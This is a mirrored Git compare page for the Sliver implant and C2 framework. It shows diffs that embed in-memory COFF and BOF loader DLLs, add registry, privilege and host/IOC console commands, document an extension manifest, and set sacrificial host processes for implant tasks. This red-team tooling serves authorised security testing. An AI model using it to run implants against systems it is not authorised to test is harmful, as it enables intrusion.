mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
80
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3c07043531 | ||
|
|
b60e826a02 | ||
|
|
80b40341d8 | ||
|
|
c4101f502d | ||
|
|
69d99e28fd | ||
|
|
a811b53561 | ||
|
|
4bf7246b0a | ||
|
|
febf50e464 | ||
|
|
59bdaa7469 | ||
|
|
cce67c289a | ||
|
|
97e7df764c | ||
|
|
33e03df1c9 | ||
|
|
d8fc1244d6 | ||
|
|
93e5d21941 | ||
|
|
7f31a9ea3e | ||
|
|
242afb0011 | ||
|
|
a427f86c4e | ||
|
|
93935b1691 | ||
|
|
a13a4dc12e | ||
|
|
4fa4562bea | ||
|
|
61b86a4a9a | ||
|
|
4c2a309054 | ||
|
|
465eb8cfee | ||
|
|
55da1a5dde | ||
|
|
bf44f379ec | ||
|
|
e5430caf8d | ||
|
|
60c5c2ee89 | ||
|
|
9cf607d155 | ||
|
|
e3a6b237f1 | ||
|
|
2c70ff1291 | ||
|
|
4a3a2a7be3 | ||
|
|
2a8f9bca18 | ||
|
|
d46a67c840 | ||
|
|
8b99a98d5e | ||
|
|
043eda5bc4 | ||
|
|
a51d93cf58 | ||
|
|
44abb0e03b | ||
|
|
09d94ab559 | ||
|
|
1420ebd447 | ||
|
|
96a531f9d4 | ||
|
|
7ef4923fc0 | ||
|
|
3f83761a90 | ||
|
|
f3bdb5cadc | ||
|
|
fd3df6a3f3 | ||
|
|
3c6b60bc3e | ||
|
|
d42373e545 | ||
|
|
76e4f430d0 | ||
|
|
ab8d431c39 | ||
|
|
e4ad404822 | ||
|
|
9e6a771a1a | ||
|
|
94eb13610b | ||
|
|
394fdb4a1e | ||
|
|
69ebbcb728 | ||
|
|
5c65da3567 | ||
|
|
1c67a11c29 | ||
|
|
755bed951b | ||
|
|
7ba4e5bec0 | ||
|
|
5d8d49461c | ||
|
|
cadc717963 | ||
|
|
ce4a7c7dcc | ||
|
|
ab8ff6a06a | ||
|
|
3b93554df2 | ||
|
|
b688b7b121 | ||
|
|
3ce603a3c7 | ||
|
|
9d3b6564f8 | ||
|
|
9cdb3e6def | ||
|
|
2df7f1319f | ||
|
|
4ad24ac3a0 | ||
|
|
3d9df17d43 | ||
|
|
d53c646af0 | ||
|
|
601c1eea64 | ||
|
|
12ee96451a | ||
|
|
cc304ba85a | ||
|
|
a743a72500 | ||
|
|
6c75b08648 | ||
|
|
d928ca58dd | ||
|
|
c18ba5fcb8 | ||
|
|
0e9545ae1c | ||
|
|
e6d1041068 | ||
|
|
85265d663f |
No files matched your search
+15
-22
@@ -1,28 +1,21 @@
|
||||
assets/*.zip
|
||||
assets/darwin
|
||||
assets/linux
|
||||
assets/windows
|
||||
server/assets/fs/**.zip
|
||||
/server/assets/fs/**.zip
|
||||
|
||||
*.sdk.tar.xz
|
||||
/*.sdk.tar.xz
|
||||
|
||||
sliver-server
|
||||
sliver-server.exe
|
||||
/sliver-server
|
||||
/sliver-server.exe
|
||||
|
||||
sliver-client
|
||||
sliver-client.exe
|
||||
/sliver-client
|
||||
/sliver-client.exe
|
||||
|
||||
gui/
|
||||
gui/*
|
||||
/.vscode/
|
||||
/.vscode/*
|
||||
|
||||
.vscode/
|
||||
.vscode/*
|
||||
/.github/
|
||||
/.github/*
|
||||
|
||||
.github/
|
||||
.github/*
|
||||
|
||||
build.py
|
||||
LICENSE
|
||||
SECURITY.md
|
||||
README.md
|
||||
CONTRIBUTING.md
|
||||
/build.py
|
||||
/LICENSE
|
||||
/SECURITY.md
|
||||
/README.md
|
||||
/CONTRIBUTING.md
|
||||
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -59,10 +59,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.16"
|
||||
go-version: "^1.17"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -15,10 +15,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,10 +50,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+7
-7
@@ -1,10 +1,10 @@
|
||||
.vscode/*
|
||||
.devcontainer
|
||||
/.vscode/*
|
||||
/.devcontainer
|
||||
|
||||
Dockerfile.*
|
||||
*.sdk.tar.xz
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
release-*
|
||||
/release-*
|
||||
|
||||
# Diffs
|
||||
*.orig
|
||||
@@ -30,10 +30,10 @@ sliver-server-windows.zip
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
/*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
/*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
|
||||
+11
-8
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.16.6
|
||||
FROM golang:1.17
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# protoc
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# assets
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
|
||||
RUN ./go-assets.sh
|
||||
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
RUN ls -lah \
|
||||
&& /opt/sliver-server unpack --force \
|
||||
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
# Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
|
||||
@@ -121,7 +121,6 @@ windows: clean
|
||||
.PHONY: pb
|
||||
pb:
|
||||
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
fs/*.zip
|
||||
fs/extensions/darwin/amd64/
|
||||
fs/extensions/darwin/arm64/
|
||||
fs/extensions/linux/amd64/
|
||||
fs/extensions/windows/amd64/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/linux/386/
|
||||
fs/extensions/windows/386/
|
||||
@@ -19,15 +19,29 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/extensions/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
// SliverExtensionsDirName - Directory storing the client side extensions
|
||||
SliverExtensionsDirName = "extensions"
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
@@ -42,3 +56,89 @@ func GetRootAppDir() string {
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := path.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
}
|
||||
|
||||
// Setup - Extract or create local assets
|
||||
func Setup(force bool, echo bool) {
|
||||
appDir := GetRootAppDir()
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf("Unpacking assets ...\n")
|
||||
}
|
||||
err := setupCoffLoaderExt(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
extDir := GetExtensionsDir()
|
||||
win32ExtDir := path.Join("windows", "386")
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
loader32, err := assetsFs.ReadFile(coffLoader32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin32ExtDir := path.Join(extDir, win32ExtDir)
|
||||
err = os.MkdirAll(localWin32ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin64ExtDir := path.Join(extDir, win64ExtDir)
|
||||
err = os.MkdirAll(localWin64ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
[
|
||||
{
|
||||
"name": "coff-loader",
|
||||
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
|
||||
"entrypoint": "LoadAndRun",
|
||||
"extFiles": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files": {
|
||||
"x64": "COFFLoader.x64.dll",
|
||||
"x86": "COFFLoader.x86.dll"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
+3
-3
@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
@@ -93,11 +93,11 @@ func StartClientConsole() error {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %v", err)
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
|
||||
+180
-7
@@ -36,6 +36,7 @@ package command
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
@@ -44,9 +45,11 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
"github.com/bishopfox/sliver/client/command/info"
|
||||
"github.com/bishopfox/sliver/client/command/jobs"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
@@ -82,6 +85,14 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
|
||||
}
|
||||
|
||||
// Attempt to load extensions from ~/.sliver-client/extensions/
|
||||
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err == nil {
|
||||
for _, ext := range exts {
|
||||
extensions.RegisterExtensionCommand(ext, con)
|
||||
}
|
||||
}
|
||||
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
|
||||
|
||||
// [ Update ] --------------------------------------------------------------
|
||||
@@ -1038,6 +1049,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("r", "reverse", false, "reverse sort order")
|
||||
f.Bool("m", "modified", false, "sort by modified time")
|
||||
f.Bool("s", "size", false, "sort by size")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to enumerate", grumble.Default("."))
|
||||
@@ -1177,6 +1191,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
|
||||
f.Bool("i", "ioc", false, "track uploaded file as an ioc")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("local-path", "local path to the file to upload")
|
||||
@@ -1525,20 +1541,20 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
|
||||
// [ Extensions ] ---------------------------------------------
|
||||
// [ Macros ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadExtensionStr,
|
||||
Help: "Load a sliver extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
|
||||
Name: consts.LoadMacroStr,
|
||||
Help: "Load a sliver macro",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.LoadExtensionCmd(ctx, con)
|
||||
macros.LoadMacroCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the extension directory")
|
||||
a.String("dir-path", "path to the macro directory")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
@@ -1643,7 +1659,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "egistry hive")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to read values from")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1690,6 +1706,45 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryListSubStr,
|
||||
Help: "List the sub keys under a registry key",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("registry-path", "registry path")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
registry.RegListSubKeysCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryListValuesStr,
|
||||
Help: "List the values for a registry key",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("registry-path", "registry path")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
registry.RegListValuesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(registryCmd)
|
||||
|
||||
// [ Pivots ] --------------------------------------------------------------
|
||||
@@ -2073,6 +2128,70 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(lootCmd)
|
||||
|
||||
// [ Hosts ] --------------------------------------------------------------
|
||||
hostsCmd := &grumble.Command{
|
||||
Name: consts.HostsStr,
|
||||
Help: "Manage the database of hosts",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
hostsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a host from the database",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
iocCmd := &grumble.Command{
|
||||
Name: consts.IOCStr,
|
||||
Help: "Manage tracked IOCs on a given host",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsIOCCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
iocCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Delete IOCs from the database",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsIOCRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
hostsCmd.AddCommand(iocCmd)
|
||||
con.App.AddCommand(hostsCmd)
|
||||
|
||||
// [ Reactions ] -----------------------------------------------------------------
|
||||
|
||||
reactionCmd := &grumble.Command{
|
||||
@@ -2168,4 +2287,58 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(dllhijackCmd)
|
||||
|
||||
// [ Get Privs ] -----------------------------------------------------------------
|
||||
getprivsCmd := &grumble.Command{
|
||||
Name: consts.GetPrivsStr,
|
||||
Help: "Get current privileges (Windows)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
privilege.GetPrivsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(getprivsCmd)
|
||||
|
||||
// [ Extensions ] -----------------------------------------------------------------
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: consts.ExtensionStr,
|
||||
Help: "Manage sliver extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ListCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Register a new extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.LoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the extension directory")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
@@ -1,4 +1,62 @@
|
||||
Extensions
|
||||
===========
|
||||
====
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions must be loaded from a directory with the following architecture:
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── manifest.json
|
||||
└── windows
|
||||
├── 386
|
||||
│ └── extension.x86.dll
|
||||
└── amd64
|
||||
└── extension.x64.dll
|
||||
```
|
||||
|
||||
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
|
||||
|
||||
Here's an example manifest:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "foo",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"dependsOn": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files":{
|
||||
"x86": "extension.x86.o",
|
||||
"x64": "extension.x64.o",
|
||||
}
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
|
||||
- `name`: name of the extension, which will also be the name of the command in the sliver client
|
||||
- `help`: the documentation for the new command
|
||||
- `entrypoint`: the name of the exported function to call
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
- `string`: regular ASCII string
|
||||
- `wstring`: string that will be UTF16 encoded
|
||||
- `int`: will be parsed as a 32 bit unsigned integer
|
||||
- `short`: will be parsed as a 16 bit unsigned integer
|
||||
- `file`: a string to a file path on the client side which content will be passed to the BOF
|
||||
+427
-241
@@ -1,26 +1,11 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
@@ -28,80 +13,59 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]extension
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
var commandMap map[string]extensionCommand
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Help string `json:"help"`
|
||||
